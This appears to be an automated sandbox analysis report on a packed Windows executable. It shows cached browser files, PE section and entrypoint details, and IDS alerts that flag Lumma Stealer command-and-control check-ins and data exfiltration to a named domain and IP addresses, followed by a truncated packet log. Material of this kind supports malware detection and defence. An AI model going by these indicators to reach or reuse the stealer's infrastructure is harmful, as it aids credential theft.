Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/install-3-5.png
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	dropped
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	dropped
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947898460893856
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'889'792 bytes
MD5:	d780c527e77e5d364222f238a1be814d
SHA1:	f9f575fb76d0c56caa9ae40b9cb7bf138ed7a6b1
SHA256:	c2d4357ca74eff5fb5d4578314a148b35b1ed049bb7b01432acfb522ec7fc023
SHA512:	3eb051a61c8ffa9e3ac600b583da86a699ec4718516d4b39d13c2ed46bbc3741a9c6454173f47ef00f2a187132f1485fd3f7adcbf9b793f4cdb2308e28e529a5
SSDEEP:	49152:Q2vJ5DXMglNhrs/jyJVRcuq6vYm4+XTJoTvic:dRpVNJs/mlcuqWYmL4vic
TLSH:	9F9533C0712865C1F51806FEEC3490E5C221C7C9A06E39595F1811BBACFADB6F6FB16A
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...b.Pg..............................K...........@..........................@K...........@.................................\0..p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8b1000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6750AF62 [Wed Dec 4 19:37:06 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FDDB47CE0CAh
lfs ebx, dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FDDB47D00C5h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5305c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x23200	685eaea2e042e1e6fdd25262677f46c0	False	0.9979634675266904	data	7.9833518321386014	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x2b0	0x400	b1e85b1cd09caefc2d43268be72ef161	False	0.3603515625	data	5.183452444303608	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	71c689c836778d5b9fbabf3abfab12d6	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x2b5000	0x200	8872fb9633ec06d76f3b927ae98bfaa6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
atizwfdt	0x309000	0x1a7000	0x1a6600	4142c8522bb8e4dad897fcb55acb5a3d	False	0.9947764455090263	data	7.953866602024274	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
oazmsryp	0x4b0000	0x1000	0x400	24c4797b6f500e546ea8cadcc82a04a4	False	0.8037109375	data	6.193341057798942	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4b1000	0x3000	0x2200	732397697d143e9c1dbde2ac0ac77810	False	0.006548713235294118	DOS executable (COM)	0.019571456231530684	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-07T17:35:12.812238+0100	2057921	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (atten-supporse .biz)	1	192.168.2.7	50433	1.1.1.1	53	UDP
2024-12-07T17:35:14.474262+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49705	104.21.16.9	443	TCP
2024-12-07T17:35:14.474262+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49705	104.21.16.9	443	TCP
2024-12-07T17:35:17.157571+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49705	104.21.16.9	443	TCP
2024-12-07T17:35:17.157571+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49705	104.21.16.9	443	TCP
2024-12-07T17:35:18.427506+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49707	104.21.16.9	443	TCP
2024-12-07T17:35:18.427506+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49707	104.21.16.9	443	TCP
2024-12-07T17:35:21.238719+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49707	104.21.16.9	443	TCP
2024-12-07T17:35:21.238719+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49707	104.21.16.9	443	TCP
2024-12-07T17:35:23.510303+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49718	104.21.16.9	443	TCP
2024-12-07T17:35:23.510303+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49718	104.21.16.9	443	TCP
2024-12-07T17:35:27.182484+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49728	104.21.16.9	443	TCP
2024-12-07T17:35:27.182484+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49728	104.21.16.9	443	TCP
2024-12-07T17:35:31.457380+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49737	104.21.16.9	443	TCP
2024-12-07T17:35:31.457380+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49737	104.21.16.9	443	TCP
2024-12-07T17:35:37.006142+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49754	104.21.16.9	443	TCP
2024-12-07T17:35:37.006142+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49754	104.21.16.9	443	TCP
2024-12-07T17:35:39.704941+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49754	104.21.16.9	443	TCP
2024-12-07T17:35:42.497172+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49767	104.21.16.9	443	TCP
2024-12-07T17:35:42.497172+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49767	104.21.16.9	443	TCP
2024-12-07T17:35:52.667191+0100	2057922	ET MALWARE Observed Win32/Lumma Stealer Related Domain (atten-supporse .biz in TLS SNI)	1	192.168.2.7	49791	104.21.16.9	443	TCP
2024-12-07T17:35:52.667191+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49791	104.21.16.9	443	TCP
2024-12-07T17:35:55.215120+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49791	104.21.16.9	443	TCP
2024-12-07T17:35:56.693094+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49802	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 7, 2024 17:35:06.552038908 CET	49671	443	192.168.2.7	204.79.197.203
Dec 7, 2024 17:35:08.489460945 CET	49674	443	192.168.2.7	104.98.116.138
Dec 7, 2024 17:35:08.505074024 CET	49675	443	192.168.2.7	104.98.116.138
Dec 7, 2024 17:35:08.692601919 CET	49672	443	192.168.2.7	104.98.116.138
Dec 7, 2024 17:35:10.572216034 CET	49677	443	192.168.2.7	20.50.201.200
Dec 7, 2024 17:35:10.942574978 CET	49677	443	192.168.2.7	20.50.201.200
Dec 7, 2024 17:35:11.364504099 CET	49671	443	192.168.2.7	204.79.197.203
Dec 7, 2024 17:35:11.692578077 CET	49677	443	192.168.2.7	20.50.201.200
Dec 7, 2024 17:35:13.192609072 CET	49677	443	192.168.2.7	20.50.201.200
Dec 7, 2024 17:35:13.244091034 CET	49705	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:13.244127989 CET	443	49705	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:13.248183012 CET	49705	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:13.252123117 CET	49705	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:13.252135038 CET	443	49705	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:14.474172115 CET	443	49705	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:14.474261999 CET	49705	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:14.477931023 CET	49705	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:14.477941990 CET	443	49705	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:14.478178978 CET	443	49705	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:14.536343098 CET	49705	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:14.538548946 CET	49705	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:14.538567066 CET	49705	443	192.168.2.7	104.21.16.9
Dec 7, 2024 17:35:14.538666964 CET	443	49705	104.21.16.9	192.168.2.7
Dec 7, 2024 17:35:16.176981926 CET	49677	443	192.168.2.7	20.50.201.200
Dec 7, 2024 17:35:16.516138077 CET	49706	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:35:16.516179085 CET	443	49706	13.107.246.63	192.168.2.7
